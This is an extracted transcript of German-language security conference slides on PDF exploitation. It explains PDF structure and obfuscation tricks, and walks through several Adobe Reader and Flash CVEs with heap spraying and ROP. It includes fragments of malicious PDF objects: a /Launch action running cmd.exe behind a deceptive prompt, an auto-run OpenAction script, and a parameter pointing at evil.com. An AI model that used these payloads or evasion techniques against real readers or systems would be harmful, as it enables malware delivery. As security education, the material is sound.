PowerPoint-Präsentation

Download Report

Transcript PowerPoint-Präsentation

Herzlich Willkommen.
Überblick
G Data Software AG
SecurityLabs
Karsten Tellmann,
Security Researcher
PDF
Exploitation
Gliederung
1.
2.
3.
4.
5.
PDF Überblick
PDF im WWW
PDF Struktur
PDF Exploitation
Beispiele
1. PDF Überblick
Portable Document Format - Fakten
1992: PDF v1.0 wird veröffentlicht
1993: PDF Spezifikation wird veröffentlicht
1993: Adobe Acrobat wird veröffentlicht
1999: JavaScript Interpreter kommt hinzu
2005: 3D Engine kommt hinzu
2007: Flash Support
2008: PDF wird zum Standard (ISO 32000-1:2008)
• Über 200.000.000 PDF Dokumente im WWW
• Über 1.800 Anbieter von PDF bezogenen
Produkten/Dienstleistungen
Quelle: http://www.adobe.com/pdf
Ausgewählte Features
• Video
• Audio
• XML
• U3D
• Interaktive Formulare
• Dateianhänge
• Datenbanken (ADBC)
• Kodierung
• Verschlüsselung
• Digitale Singaturen
• JavaScript
• Flash
• Dateien ausführen (cmd.exe)
Digitales eierlegendes Wollmilchdokumentenformat
Warum PDF?
Warum ist PDF so interessant für Malwareautore?
• Weite Verbreitung (-> großes Zielpublikum)
• Enormer Funktionsumfang (-> Komplexität vs. Sicherheit)
• Veraltete Versionen (-> Alte Exploits)
• Browser Plug-ins (-> Drive-by-Downloads)
Common Vulnerabilities and Exposures (CVE)
140
115
120
100
79
80
60
45
40
Suchbegriffe
Adobe Reader
PDF
Adobe Reader + PDF
33
16
20
3
19
10
6
5
2002
2003
0
0
2000
2001
2004
2005
2006
2007
2008
2009
2010
Quelle: http://cve.mitre.org
2. PDF im WWW
Einbetten in einer Webseite
Generell (FF 3.6.13, Opera 10.63, IE 8.0)
<object data="evil.pdf" type="application/pdf" width="0" height="0" />
<iframe src="evil.pdf" frameborder="0" width="0" height="0" />
<embed src="evil.pdf" width="0" height="0" />
Internet Explorer
<object classid="clsid:CA8A9780-280D-11CF-A24D-444553540000"
width="0" height="0"><param name="src" value="evil.pdf" />
</object>
Plugin Versionserkennung
PluginDetect (Eric Gerds):
http://pinlady.net/PluginDetect
• Konfigurierbares JavaScript zur Bestimmung von
Browser Plugin Versionen
• Java, QuickTime, DevalVR, Shockwave, Flash, Windows
Media Player, Silverlight, VLC Player, Adobe Reader,
Generic PDF Reader
PluginDetect Beispiel
<html><head><title>PDF Reader Plugin Detection</title>
<script src="PluginDetector.js"></script>
<script language="javascript" type="text/javascript">
function check_version(){
adobe = PluginDetect.getVersion("AdobeReader");
version = adobe.split(",").join(".");
alert("Adobe Reader Version: "+version);
}
</script></head>
<body onload="check_version()">
</body></html>
PluginDetect: Bleeding Life
Bleeding Life Exploit Kit Version 2: ~400 $
Unterstützte PDF Exploits:
• CVE 2008-2992 (util.printf)
• CVE 2010-0188 (libtiff)
• CVE 2010-1297 (authplay.dll (AVM2))
• CVE 2010-2884 (authplay.dll (AVM2))
Beispiel: bleedinglife.txt
Browser Kontext
Das Sicherheits-Management des Adobe Reader ändert sich
im Browser Kontext:
• Keine Warnmeldungen wenn das PDF mit Webseiten
interagieren will (zB.: GoToR)
• Parameter können via GET an das Reader Plug-in
übergeben werden:
http://site.org/file.pdf#page=23
http://site.org.file.pdf#fdf=http://evil.com/modify.fdf
Quelle: Malicious origami in PDF
3. PDF Struktur
Basis Datentypen
Typ
Wert
Boolean
true, false
Numeric
42, +23, -13, 3.1415, -2,718
String (literal, oktal, hex)
(foo), (/146/157/157), <666f6f>
Name
/varname
Array
[42, (/146/157/157), /Name, <666f6f>]
Dictionary
<< /key1 (value) key2 <666f6f> >>
Stream
<<>>stream … endstream
Null
null
PDF Streams
• Einbetten von kodiertem Inhalt (zB.: .jpg, .png)
• Kodieren von beliebigem Inhalt (zB.: JavaScript)
• Filter können beliebig verkettet werden
Liste von unterstützten Filtern:
• ASCII85Decode
• ASCIIHexDecode
• FlateDecode
• LZWDecode
• RunLengthDecode
• DCTDecode
• CCITTFaxDecode
• JBIG2Decode
• JPXDecode
• (U3D)
Objects
• Basis Datentypen werden in Objekten organisiert
• Objekte haben eine ID und können referenziert werden
1 0 obj
<<
/Var (Text)
>>
endobj
Äquivalent
1 0 obj
<<
/Var 2 0 R
>>
Endobj
2 0 obj
(Text)
endobj
Physikalische Struktur
Header: Version der PDF Spezifikation.
Objekte: Beschreiben den Inhalt des
Dokuments.
Cross Reference Table: Gibt an , an
welcher Byte-Position im Dokument
welches Objekt steht und in welcher
Version es vorliegt.
Trailer: Anzahl der Objekte, spezifiziert das
root Element, Position des letzten Cross
Reference Table.
Physikalische Struktur
Beispiel: Hello-World.pdf
Logische Struktur
Überblick
Parsing Schritte:
• Suche PDF Header innerhalb der
ersten 1024 Bytes
• Suche Trailer und bestimme root Objekt
und Cross Reference Table (xref)
Herzlich
• Bestimme Byte Position
vomWillkommen.
root Objekt
mittels Eintrag im xref und parse Inhalt.
• Folge Referenzen
Aktionen
PDFs können Aktionen ausführen:
• Ausführen von JavaScript
• Senden von Formularen, Email
• Lokale OS Kommandos ausführen
• Externe Ressourcen ansprechen
• Abspielen von Musik und Videos
•…
Trigger
Aktionen werden ausgelöst:
• Öffnen und schließen des Dokuments
• Öffnen und schließen einer Seite
• Betreten eines bestimmten Fläche in einer Seite
• Beim parsen eines Objektes
•…
Aktionen und Trigger
Beispiel: Triggers.pdf
Reader Toleranz I
Reader Software reagiert unterschiedlich auf Formatfehler.
Überblick
PDF
Header Spezifikation:
%PDF-<Versions Nr.> steht am Anfang der Datei
Acrobat Reader X:
• %PDF- reicht aus
• Innerhalb der ersten 1024 Bytes
• Vor dem Catalog Objekt
Hybrides Format: PDF/ZIP, PDF/GIF, PDF/HTML,…
Reader Toleranz II
Reader Software reagiert unterschiedlich auf Formatfehler.
Überblick
PDF
Spezifikation:
• %%EOF steht am Ende der Datei
• /Size
• /Length
Acrobat Reader X:
• komplett egal
Reader Toleranz III
Überblick
Quelle: http://blog.didierstevens.com
Reader Toleranz Beispiel
Überblick
%PDFtrailer<</Root<</Pages<<>>/OpenAction<</S/JavaScript
/JS(app.alert({cMsg:'Stuff Goes Here'});)>>>>>>
by Julia Wolf, FireEye Malware Intelligence Lab
PDF Obfuscation I
Name Obfuscation
• /JavaScript
Überblick
• /#4A#61#76#61#53#63#72#69#70#74
Literal String Obfuscation
• /JS (app.alert(„Got Ya!“);)
• /JS (\141\160\160.\\
alert(„Go\164 Y\141!“);)
Hexadecimal String Obfuscation
• /JS <6170702e616c6572742822476f742059612122293b>
• /JS <61 70 702e 616c 65 72
74
28 22 476f 74
2059612122293b>
PDF Obfuscation II
Stream Objekte
• Alles kann Inhalt eines Stream Objekts sein
Überblick
• Verketten von beliebig vielen Filtern:
/Filter [/ASCIIHexDecode /FlateDecode /JBIG2Decode]
Encryption (RC4, AES in CBC mode)
• Verschlüsselt nur Inhalt von String und Stream Objekten
• Bei leerem Owner Passwort, wird mit einem
32Byte Standardpasswort entschlüsselt (außer AES256).
<28BF4E5E4E758A4164004E56FFFa0108
2E2E00B6D0683E802F0CA9FE6453697A>
=> Keine Benutzerinteraktion nötig!
PDF Obfuscation Beispiel
Beispiel:
ÜberblickCVE-2009-0658
Buffer overflow Schwachstelle in der Verarbeitung von
JBIG2 streams. Anfällig waren Adobe Reader bis Version 9.0
Metasploit Beispiel: msf_jbig2decode.pdf
JavaScript: Anti Emulation
Variablen aus PDF Objekten auslesen:
• getPageNthWord
Überblick
• getLinks
• getIcon
• getPageNumWords
• getPageNthWordQuads
• documentFileName
• getAnnots
• this.info.<var>
4. PDF Exploitation
Vorüberlegungen
1. Szenario (gezielt vs. massenhaft)
Überblick
2. Exploit(s) wählen (Plattform, Software, Version …)
3. Schutzmaßnahmen (Obfuscation, Anti Emulation)
4. Ziel des Angriffs (Shell, Backdoor, weiterer Schadcode)
Angriffsschritte
1. Angriff auslösen (/OpenAction, /AA, /A, /Names)
Überblick
2. Speicher vorbereiten (HeapSpray,JITSpray)
3. Schwachstelle ausnutzen (Exploit)
4. Eigenen Programmcode ausführen (Shellcode)
Multiple Exploits
Bestimmen der Plattform und der Version des Acrobat Reader,
umÜberblick
eine auf das Zielsystem angepassten Exploit zu benutzen.
Acrobat JavaScript
Rückgabewert
app.platform
WIN, MAC, UNIX
app.viewerVersion
Reader Version (zB.: 10 oder 9.3.3)
JavaScript: Heapspray
Überblick
64K (Nopsled+Shellcode) * 4096 (Blöcke) => 256MB Heap
Heapspray: Speicher
Überblick
5. Beispiel Exploits
Schwachstellenkategorien






Funktionsmissbrauch
Acrobat JavaScript Methoden
Stream Filter (JBIG2,TIFF)
3D Objekte (U3D)
Font Parsing Modulen
Eingebettete Flash Files
Funktionsmissbrauch: CVE-2010-1240
7 0 obj
1. Embedded Datei cmd.exe speichern
<<
2. Ändere Text der MessageBox
/Type /Action
3. Benutzer führt Datei aus
/S /Launch
/Win
<<
/F (cmd.exe)
/P (/C echo @set LP="\(">s1.bat&&echo @set RP="\)">>s1.bat&&echo
…
To view the encrypted message in this PDF document,
select 'Do not show this message again'
and click the Open button!)>>>>endobj
/Action /Launch
%PDFtrailer<</Root<</Pages<<>>/OpenAction 2 0 R>>>>>>
2 0 obj
<< /Type /Action
/S /Launch
/F
<<
/DOS
(D:\cmd.exe)
/Unix
(/usr/bin/xcalc)
/Mac
(/Applications/Calculator.app)
>>
>>endobj
JavaScript Methode: CVE-2007-5659
Stream Filter (JBIG2): CVE-2009-0658
Aufbau JBIG2 Stream
Page association size:
• 0 : Segment page association = 1 Byte
• 1 : Segment page association = 4 Byte
• Setze segment association size = 1
• Wähle großen Wert für segment page association
(0x00666666 * 5 * 4)
• Programmablauf zeigt auf den 1. Teil des Heap Spray
und interpretiert den Wert als Pointer (0x341F2500)
• Pointer zeigt auf 2. Teil des Heap Sprays mit
Nopsled + Shellcode und führt diesen aus
Anmerkungen CVE-2009-0658
• Die Schwachstelle ist nicht Adobe Reader spezifisch, da der
Fehler in der Parsing Bibliothek für JBIG2 Streams liegt.
• Die Schwachstelle kann ohne öffnen des PDF ausgelöst
werden:
• Windows Indexing Service (Indiziert auch PDF Inhalte)
• Windows Column Handler (Ordner Vorschau, MetaInfo)
 Es wird jedoch kein JavaScript ausgeführt um den
Speicher für den Angriff vorzubereiten.
U3D: CVE-2009-2990
Beispiel Java Script:
U3D CLODProgressiveMesh-Continuation
Split Position Index arbitrary dereference
U3D: CVE-2009-2990
Fehlende Validierung des Split Position Index
Im Resolution Update des
CLOD Progressive Mesh Continuation Block
Font Parsing: CVE-2010-2883
CVE-2010-2883





06.09. – Golf Clinic.pdf
07.09. – Zum ersten Mal bei VirusTotal.com (1/43)
08.09. – Adobe Advisory
08.09. – Initiales Metasploit-Modul
04.10. – Offizieller Adobe-Patch
(Regulärer Patch-Zyklus: 12.10.)
Die Schwachstelle
 Stack based buffer overflow:
CoolType.dll
 Feld in SING (Smart INdependent Glyphlets) Tabelle
von TrueType Fonts
 uniqueName Spezifikation:
(28 byte, 7-bit ASCII, Null Terminiert)
 Strcat(stack_buf, user_input)
=> Null Terminierung wird nicht überprüft
Übersicht des Angriffs
HeapSpray
ROP Code
Shellcode: calc.exe
SING Table
Null-Terminierung
von uniqueName
fehlt!
Bildquelle: Websense Security Labs
DEP & ASLR
 ROP-Code benutzt Instruktionen aus icucnv36.dll
• icucnv36.dll unterstützt kein ASLR
• DEP greift nicht weil Code aus ausführbarem Speicherbereich
benutzt wird
 ROP-Code schreibt leere Datei iso88591 in das
Verzeichnis vom PDF
 ROP-Code mapped die Datei in den Speicher:
• Reserviert 0x10000 Byte ausführbaren Speicherbereich
 ROP-Code kopiert Shellcode in den reservierten
Speicherbereich und führt ihn aus.
Flash: CVE-2007-0071
Tag Handler: DefineSceneAndFrameLabelData
• Vergibt Labels für Szenen/Frames
• Tag Data:
enc_uint32 SceneCount
LABELDATA Scenes[SceneCount]
enc_uint32 FramesCount
LABELDATA Frames[SceneCount]
Tag Handler (DefineSceneAndFrameLabelID)
int32 scenecount = GetSceneCount();
if (scenecount>swf_upper_limit() || scenecount=0)
{
// error handling
}
else
{
char *addressptr=alloc_mem(scenecount, 12);
for (int32 i=scenecount; i>0; i--)
{
// never happens
}
char *record = adressptr+(scene_count*12);
*(record+8) = record+global_framecount;}
Tag Handler (DefineSceneAndFrameLabelID)
int32 scenecount = GetSceneCount();
if (scenecount>swf_upper_limit() || scenecount=0)
{
// error handling
SceneCount wird signed interpretiert,
}
obwohl unsigned definiert
else
{
char *addressptr=alloc_mem(scenecount, 12);
for (int32 i=scenecount; i>0; i--)
{
// never happens
}
char *record = adressptr+(scene_count*12);
*(record+8) = record+global_framecount;}
Tag Handler (DefineSceneAndFrameLabelID)
int32 scenecount = GetSceneCount();
if (scenecount>swf_upper_limit() || scenecount=0)
{
// error handling Setze oberstes Bit:
}
SceneCount wird negativ interpretiert
else
 großer SceneCount wird nie als
{
Fehler erkannt
char *adressptr=alloc_mem(scenecount, 12);
for (int32 i=scenecount; i>0; i--)
{
// never happens
}
char *record = adressptr+(scene_count*12);
*(record+8) = record+global_framecount;}
Tag Handler (DefineSceneAndFrameLabelID)
int32 scenecount = GetSceneCount();
if (scenecount>swf_upper_limit() || scenecount=0)
{
// error handling
}
else
alloc_mem returned NULL
{
char *adressptr=alloc_mem(scenecount, 12);
for (int32 i=scenecount; i>0; i--)
{
// never happens
}
char *record = adressptr+(scene_count*12);
*(record+8) = record+global_framecount;}
pointer
Tag Handler (DefineSceneAndFrameLabelID)
int32 scenecount
void* alloc_mem(uint32
= GetSceneCount();
num_blocks, uint32 blocksize)
{
if (scenecount>swf_upper_limit()
|| scenecount=0)
if ((uint64)num_blocks*(uint64)blocksize > 0xFFFFFFFF)
{
return NULL; // integer overflow
// error handling
else
}
{
else
// malloc routine
}}
{
char *adressptr=alloc_mem(scenecount, 12);
for (int32 i=scenecount; i>0; i--)
{
// never happens
}
char *record = adressptr+(scene_count*12);
*(record+8) = record+global_framecount;}
Tag Handler (DefineSceneAndFrameLabelID)
int32 scenecount = GetSceneCount();
if (scenecount>swf_upper_limit() || scenecount=0)
{
// error handling
}
else
Keine Prüfung auf NULL pointer
{
char *adressptr=alloc_mem(scenecount, 12);
for (int32 i=scenecount; i>0; i--)
{
// never happens
}
char *record = adressptr+(scene_count*12);
*(record+8) = record+global_framecount;}
Tag Handler (DefineSceneAndFrameLabelID)
int32 scenecount = GetSceneCount();
if (scenecount>swf_upper_limit() || scenecount=0)
{
// error handling
}
for-schleife wird nicht durchlaufen
else
(i=SceneCount < 0)
{
char *adressptr=alloc_mem(scenecount, 12);
for (int32 i=scenecount; i>0; i--)
{
// never happens
}
char *record = adressptr+(scene_count*12);
*(record+8) = record+global_framecount;}
Tag Handler (DefineSceneAndFrameLabelID)
int32 scenecount = GetSceneCount();
if (scenecount>swf_upper_limit() || scenecount=0)
{
// error handling
}
else
{
char *adressptr=alloc_mem(scenecount, 12);
for (int32 i=scenecount; i>0; i--)
{
//
never happens
Angreifer
kann Adressen umschreiben
}
char *record = adressptr+(scene_count*12);
*(record+8) = record+global_framecount;}
Free Tools
 PDF Tools (Didier Stevens)
http://blog.didierstevens.com/programs/pdf-tools/
 Origami Framework (Sogeti ESEC Lab)
http://esec-lab.sogeti.com/dotclear/index.php?pages/Origami
 Opaflib (Felipe Andres Manzano)
http://feliam.wordpress.com
 Pdfxray (Offensive Computing)
http://www.offensivecomputing.net/?q=node/1681
 PDF Stream Dumper
http://sandsprite.com/blogs/index.php?uid=7&pid=57
Vorträge/Webseiten
 PDF Syntax Abuse (Julia Wolf)
http://www.sec-t.org/2010/Agenda.html
 How to really obfuscate your PDF Malware (Sebastian Porst)
http://storage.zynamics.com/files/blog/pdf_malware.pdf
 Malicious origami in PDF (Raynal, Delugre, Aumaitre)
http://www.security-labs.org/fred/
 WEPAWET (UCSB,Webservice)
http://wepawet.cs.ucsb.edu/
 JSUNPACK (Webservice)
http://jsunpack.jeek.org/dec/go
 Contagio Dump (Mila Parkour, ITW Samples)
http://contagiodump.blogspot.com/
Herzlich Willkommen.
Überblick
Vielen Dank
Fragen?